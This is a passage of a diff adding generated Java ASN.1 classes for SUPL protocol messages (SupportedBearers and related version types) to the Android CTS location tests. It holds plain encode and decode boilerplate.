+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "revisionNumberType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class pointReleaseNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_pointReleaseNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public pointReleaseNumberType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_pointReleaseNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_pointReleaseNumberType != null) {
+ return ImmutableList.of(TAG_pointReleaseNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new pointReleaseNumberType from encoded stream.
+ */
+ public static pointReleaseNumberType fromPerUnaligned(byte[] encodedBytes) {
+ pointReleaseNumberType result = new pointReleaseNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new pointReleaseNumberType from encoded stream.
+ */
+ public static pointReleaseNumberType fromPerAligned(byte[] encodedBytes) {
+ pointReleaseNumberType result = new pointReleaseNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "pointReleaseNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class internalEditLevelType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_internalEditLevelType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public internalEditLevelType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_internalEditLevelType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_internalEditLevelType != null) {
+ return ImmutableList.of(TAG_internalEditLevelType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new internalEditLevelType from encoded stream.
+ */
+ public static internalEditLevelType fromPerUnaligned(byte[] encodedBytes) {
+ internalEditLevelType result = new internalEditLevelType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new internalEditLevelType from encoded stream.
+ */
+ public static internalEditLevelType fromPerAligned(byte[] encodedBytes) {
+ internalEditLevelType result = new internalEditLevelType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "internalEditLevelType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Supported3GPP2PosProtocolVersion = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java
new file mode 100755
index 0000000..d768cf3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SupportedBearers.java
@@ -0,0 +1,1277 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SupportedBearers extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SupportedBearers
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SupportedBearers() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SupportedBearers;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SupportedBearers != null) {
+ return ImmutableList.of(TAG_SupportedBearers);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SupportedBearers from encoded stream.
+ */
+ public static SupportedBearers fromPerUnaligned(byte[] encodedBytes) {
+ SupportedBearers result = new SupportedBearers();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SupportedBearers from encoded stream.
+ */
+ public static SupportedBearers fromPerAligned(byte[] encodedBytes) {
+ SupportedBearers result = new SupportedBearers();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedBearers.gsmType gsm_;
+ public SupportedBearers.gsmType getGsm() {
+ return gsm_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers.gsmType
+ */
+ public void setGsm(Asn1Object value) {
+ this.gsm_ = (SupportedBearers.gsmType) value;
+ }
+ public SupportedBearers.gsmType setGsmToNewInstance() {
+ gsm_ = new SupportedBearers.gsmType();
+ return gsm_;
+ }
+
+ private SupportedBearers.wcdmaType wcdma_;
+ public SupportedBearers.wcdmaType getWcdma() {
+ return wcdma_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers.wcdmaType
+ */
+ public void setWcdma(Asn1Object value) {
+ this.wcdma_ = (SupportedBearers.wcdmaType) value;
+ }
+ public SupportedBearers.wcdmaType setWcdmaToNewInstance() {
+ wcdma_ = new SupportedBearers.wcdmaType();
+ return wcdma_;
+ }
+
+ private SupportedBearers.lteType lte_;
+ public SupportedBearers.lteType getLte() {
+ return lte_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers.lteType
+ */
+ public void setLte(Asn1Object value) {
+ this.lte_ = (SupportedBearers.lteType) value;
+ }
+ public SupportedBearers.lteType setLteToNewInstance() {
+ lte_ = new SupportedBearers.lteType();
+ return lte_;
+ }
+
+ private SupportedBearers.cdmaType cdma_;
+ public SupportedBearers.cdmaType getCdma() {
+ return cdma_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers.cdmaType
+ */
+ public void setCdma(Asn1Object value) {
+ this.cdma_ = (SupportedBearers.cdmaType) value;
+ }
+ public SupportedBearers.cdmaType setCdmaToNewInstance() {
+ cdma_ = new SupportedBearers.cdmaType();
+ return cdma_;
+ }
+
+ private SupportedBearers.hprdType hprd_;
+ public SupportedBearers.hprdType getHprd() {
+ return hprd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers.hprdType
+ */
+ public void setHprd(Asn1Object value) {
+ this.hprd_ = (SupportedBearers.hprdType) value;
+ }
+ public SupportedBearers.hprdType setHprdToNewInstance() {
+ hprd_ = new SupportedBearers.hprdType();
+ return hprd_;
+ }
+
+ private SupportedBearers.umbType umb_;
+ public SupportedBearers.umbType getUmb() {
+ return umb_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers.umbType
+ */
+ public void setUmb(Asn1Object value) {
+ this.umb_ = (SupportedBearers.umbType) value;
+ }
+ public SupportedBearers.umbType setUmbToNewInstance() {
+ umb_ = new SupportedBearers.umbType();
+ return umb_;
+ }
+
+ private SupportedBearers.wlanType wlan_;
+ public SupportedBearers.wlanType getWlan() {
+ return wlan_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers.wlanType
+ */
+ public void setWlan(Asn1Object value) {
+ this.wlan_ = (SupportedBearers.wlanType) value;
+ }
+ public SupportedBearers.wlanType setWlanToNewInstance() {
+ wlan_ = new SupportedBearers.wlanType();
+ return wlan_;
+ }
+
+ private SupportedBearers.wiMAXType wiMAX_;
+ public SupportedBearers.wiMAXType getWiMAX() {
+ return wiMAX_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedBearers.wiMAXType
+ */
+ public void setWiMAX(Asn1Object value) {
+ this.wiMAX_ = (SupportedBearers.wiMAXType) value;
+ }
+ public SupportedBearers.wiMAXType setWiMAXToNewInstance() {
+ wiMAX_ = new SupportedBearers.wiMAXType();
+ return wiMAX_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGsm() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGsm();
+ }
+
+ @Override public void setToNewInstance() {
+ setGsmToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedBearers.gsmType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gsm : "
+ + getGsm().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getWcdma() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWcdma();
+ }
+
+ @Override public void setToNewInstance() {
+ setWcdmaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedBearers.wcdmaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wcdma : "
+ + getWcdma().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getLte() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLte();
+ }
+
+ @Override public void setToNewInstance() {
+ setLteToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedBearers.lteType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "lte : "
+ + getLte().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getCdma() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCdma();
+ }
+
+ @Override public void setToNewInstance() {
+ setCdmaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedBearers.cdmaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cdma : "
+ + getCdma().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getHprd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHprd();
+ }
+
+ @Override public void setToNewInstance() {
+ setHprdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedBearers.hprdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "hprd : "
+ + getHprd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getUmb() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUmb();
+ }
+
+ @Override public void setToNewInstance() {
+ setUmbToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedBearers.umbType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "umb : "
+ + getUmb().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getWlan() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWlan();
+ }
+
+ @Override public void setToNewInstance() {
+ setWlanToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedBearers.wlanType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wlan : "
+ + getWlan().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getWiMAX() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWiMAX();
+ }
+
+ @Override public void setToNewInstance() {
+ setWiMAXToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedBearers.wiMAXType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wiMAX : "
+ + getWiMAX().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gsmType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_gsmType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gsmType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gsmType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gsmType != null) {
+ return ImmutableList.of(TAG_gsmType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gsmType from encoded stream.
+ */
+ public static gsmType fromPerUnaligned(byte[] encodedBytes) {
+ gsmType result = new gsmType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gsmType from encoded stream.
+ */
+ public static gsmType fromPerAligned(byte[] encodedBytes) {
+ gsmType result = new gsmType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gsmType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class wcdmaType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_wcdmaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public wcdmaType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_wcdmaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_wcdmaType != null) {
+ return ImmutableList.of(TAG_wcdmaType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new wcdmaType from encoded stream.
+ */
+ public static wcdmaType fromPerUnaligned(byte[] encodedBytes) {
+ wcdmaType result = new wcdmaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new wcdmaType from encoded stream.
+ */
+ public static wcdmaType fromPerAligned(byte[] encodedBytes) {
+ wcdmaType result = new wcdmaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "wcdmaType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class lteType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_lteType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public lteType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_lteType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_lteType != null) {
+ return ImmutableList.of(TAG_lteType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new lteType from encoded stream.
+ */
+ public static lteType fromPerUnaligned(byte[] encodedBytes) {
+ lteType result = new lteType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new lteType from encoded stream.
+ */
+ public static lteType fromPerAligned(byte[] encodedBytes) {
+ lteType result = new lteType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "lteType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cdmaType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_cdmaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cdmaType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cdmaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cdmaType != null) {
+ return ImmutableList.of(TAG_cdmaType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cdmaType from encoded stream.
+ */
+ public static cdmaType fromPerUnaligned(byte[] encodedBytes) {
+ cdmaType result = new cdmaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cdmaType from encoded stream.
+ */
+ public static cdmaType fromPerAligned(byte[] encodedBytes) {
+ cdmaType result = new cdmaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cdmaType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class hprdType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_hprdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public hprdType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_hprdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_hprdType != null) {
+ return ImmutableList.of(TAG_hprdType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new hprdType from encoded stream.
+ */
+ public static hprdType fromPerUnaligned(byte[] encodedBytes) {
+ hprdType result = new hprdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new hprdType from encoded stream.
+ */
+ public static hprdType fromPerAligned(byte[] encodedBytes) {
+ hprdType result = new hprdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "hprdType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class umbType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_umbType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public umbType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_umbType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_umbType != null) {
+ return ImmutableList.of(TAG_umbType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new umbType from encoded stream.
+ */
+ public static umbType fromPerUnaligned(byte[] encodedBytes) {
+ umbType result = new umbType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new umbType from encoded stream.
+ */
+ public static umbType fromPerAligned(byte[] encodedBytes) {
+ umbType result = new umbType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "umbType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class wlanType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_wlanType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public wlanType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_wlanType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_wlanType != null) {
+ return ImmutableList.of(TAG_wlanType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new wlanType from encoded stream.
+ */
+ public static wlanType fromPerUnaligned(byte[] encodedBytes) {
+ wlanType result = new wlanType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new wlanType from encoded stream.
+ */
+ public static wlanType fromPerAligned(byte[] encodedBytes) {
+ wlanType result = new wlanType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
